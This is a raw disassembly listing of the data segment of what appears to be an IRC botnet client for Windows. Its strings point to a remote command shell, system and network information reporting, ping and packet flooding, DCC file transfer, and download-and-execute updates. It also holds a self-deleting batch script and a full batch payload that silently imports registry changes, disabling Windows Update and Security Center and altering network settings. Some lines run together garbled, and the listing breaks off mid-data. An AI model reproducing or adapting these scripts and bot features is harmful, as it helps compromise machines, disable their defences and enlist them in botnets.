aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+230o
align 10h
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407B27+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407B27+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+194o
align 10h
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407B27+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407B27+12Co
align 4
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+C4o
align 4
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+90o
align 10h
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407B27+28o
align 4
aSErrorSD_ db '%s Error: %s <%d>.',0
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_408175+5o
; sub_4126F4+18o
align 10h
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4081F7+1Co
align 10h
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40829B+2o
aComspecCSS db '%%comspec%% /c %s %s',0
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4082BD+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4082BD+48o
align 4
aCA_bat db 'c:\a.bat',0 ; DATA XREF: sub_408445+29o
align 4
a@echoOffEchoRe db '@echo off',0Dh,0Ah ; DATA XREF: sub_408445+14o
db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
db 'erv]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
db '%temp%\1.reg',0Dh,0Ah
db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
db 0Ah
db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
db '1.reg',0Dh,0Ah
db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
db 'Echo "ForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'Echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio'
db 'n\Internet Settings]>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPer1_0Server"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo "MaxConnectionsPerServer"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
db 'Echo.>>%temp%\1.reg',0Dh,0Ah
db 'START /WAIT REGEDIT /S %temp%\1.reg',0Dh,0Ah
db 'DEL %temp%\1.reg',0Dh,0Ah
db 'DEL %0',0Dh,0Ah,0
align 10h
unk_427400 db 2 ; DATA XREF: sub_40853B:loc_4085FAo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_427444 db 2 ; DATA XREF: sub_40853B:loc_4085C8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_427488 db 2 ; DATA XREF: sub_40853B:loc_408594o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 10h
unk_4274C0 db 2 ; DATA XREF: sub_40853B+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_427504 db 2 ; DATA XREF: seg000:004087FBo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_427544 db 2 ; DATA XREF: seg000:0040872Do
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 70h ; p
db 69h, 6Eh, 67h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 10h
dword_427580 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40884B+1C6o
dd 2029206Ch, 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 10h
dword_4275C0 dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
; DATA XREF: sub_40884B+8Eo
dd 2029206Ch, 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_408AC9+33o
dword_42760C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:loc_408C82o
dd 2029206Ch, 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 10h
dword_427650 dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:00408C60o
dd 2029206Ch, 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42768C dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
; DATA XREF: seg000:loc_408C36o
dd 2029206Ch, 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 10h
dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 4
dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
dd 2029206Ch, 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: seg000:00408CC6o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_408E5A+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_408F79+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_408F79+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_408F79:loc_4090DDo
align 4
word_42785C dw 3Fh ; DATA XREF: sub_408F79:loc_40907Br
; sub_40A725+1Fo
align 10h
dword_427860 dd 28207325h, 297325hdword_427868 dd 3F3F3Fh ; seg000:loc_4126A5o
a2003 db '2003',0 ; DATA XREF: sub_408F79+BAo
align 4
aXp db 'XP',0 ; DATA XREF: sub_408F79+AAo
; seg000:00412690o
align 4
a2k db '2K',0 ; DATA XREF: sub_408F79+98o
; seg000:00412680o
align 4
aMe db 'ME',0 ; DATA XREF: sub_408F79+7Eo
; seg000:00412667o
align 10h
a98 db '98',0 ; DATA XREF: sub_408F79+6Co
; seg000:00412657o
align 4
aNt db 'NT',0 ; DATA XREF: sub_408F79+5Ao
; seg000:00412647o
align 4
a95 db '95',0 ; DATA XREF: sub_408F79+46o
; seg000:00412639o
align 4
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40922D+ABo
align 4
off_4278CC dd offset loc_412F4E ; DATA XREF: sub_40922D:loc_4092A1o
dword_4278D0 dd 4E414Ch dword_4278D4 dd 6C616944h, 70752Dhdword_4278DC dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hunk_4278EC db 2 ; DATA XREF: sub_4092F3:loc_4094ACo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 10h
unk_427930 db 2 ; DATA XREF: sub_4092F3:loc_4094A5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 10h
dword_427970 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_4092F3+1A0o
dd 206C1F64h, 0BB022029h, 202002BBh, 61766E49h, 2064696Ch
dd 2E4C5255h, 0
unk_4279A0 db 2 ; DATA XREF: sub_4092F3:loc_409486o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 10h
dword_4279F0 dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
; DATA XREF: sub_4092F3+18Co
dd 206C1F64h, 0BB022029h, 202002BBh, 204C5255h, 69736976h
dd 2E646574h, 0
dword_427A20 dd 2A2F2Ah dword_427A24 dd 202E6425h, 3D207325h, 732520hdword_427A30 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_409615+60o
align 4
dword_427A64 dd 2C353103h, 6E653431h, 6230317Ah, 2E320320h, 3103202Eh
; DATA XREF: sub_4096B5+1Ao
dd 6F6C2835h, 32037367h, 3531032Eh, 29646F6Dh, 0BB320320h
dd 20353103h, 656C4320h, 64657261h, 2Eh
dword_427A9C dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_4096F5+DCo
dd 2029206Ch, 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh
dd 2E657465h, 0
dword_427ACC dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: sub_4096F5+3Fo
dd 2029206Ch, 2BBBB02h, 65422020h, 6E6967h
dword_427AF0 dd 78h align 8
dword_427AF8 dd 80000002h, 428300h, 80000002h, 428330h, 80000001h, 428368h
; DATA XREF: sub_409824+7o
dword_427B10 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409824+63o
dd 2029206Ch, 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_427B58 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:00409A8Ao
dd 2029206Ch, 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_427B9C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: seg000:00409A26o
; sub_409BA0+FDo
dd 2029206Ch, 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_427BD4 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409BA0+362o
; sub_409F42+156o
dd 2029206Ch, 2BBBB02h, 6F532020h, 74656B63h, 72726520h
dd 2E726Fh
dword_427C00 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409BA0+2FAo
dd 2029206Ch, 2BBBB02h
aTransferComple db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_427C54 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409BA0+202o
dd 2029206Ch, 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_427C8C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409BA0+1CBo
dd 2029206Ch, 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h
dd 2E7475h
dword_427CB8 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_409BA0+16Ao
dd 169h
dword_427CD0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409BA0+127o
dd 2029206Ch, 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_427D04 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409BA0+82o
dd 2029206Ch, 2BBBB02h
aFailedToBindTo db ' Failed to bind to socket.',0
dword_427D3C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409BA0+44o
dd 2029206Ch, 2BBBB02h
aFailedToCreate db ' Failed to create socket.',0
align 4
dword_427D74 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409F42+1CFo
dd 2029206Ch, 2BBBB02h
aTransferComp_0 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0
align 4
dword_427DCC dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409F42+CBo
dd 2029206Ch, 2BBBB02h
aErrorOpeningSo db ' Error opening socket.',0
dword_427E00 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409F42+ABo
dd 2029206Ch, 2BBBB02h
aErrorOpeningFi db ' Error opening file for writing.',0
align 10h
aAB db 'a+b',0 ; DATA XREF: sub_409F42+97o
dword_427E44 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_409F42+83o
dd 2029206Ch, 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 4
unk_427E88 db 2 ; DATA XREF: seg000:0040A610o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_427EC8 db 2 ; DATA XREF: seg000:0040A602o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
unk_427F14 db 2 ; DATA XREF: seg000:0040A546o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_427F68 dd 28026502h, 62302E31h, 20282029h, 6E776F64h, 64616F6Ch
; DATA XREF: seg000:0040A4D5o
dd 641F6D2Eh, 29206C1Fh, 0BBBB0220h, 4F202002h, 656E6570h
dd 25203A64h, 2E73h
aOpen db 'open',0 ; DATA XREF: seg000:0040A4B3o
; seg000:0040DD92o ...
align 10h
unk_427FA0 db 2 ; DATA XREF: seg000:0040A45Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_427FEC db 2 ; DATA XREF: seg000:0040A3DFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_428028 db 2 ; DATA XREF: seg000:0040A355o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 10h
unk_428070 db 2 ; DATA XREF: seg000:0040A312o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_4280B4 db 2 ; DATA XREF: seg000:0040A300o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 10h
unk_428100 db 2 ; DATA XREF: seg000:0040A1F4o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 6Fh, 77h, 6Eh
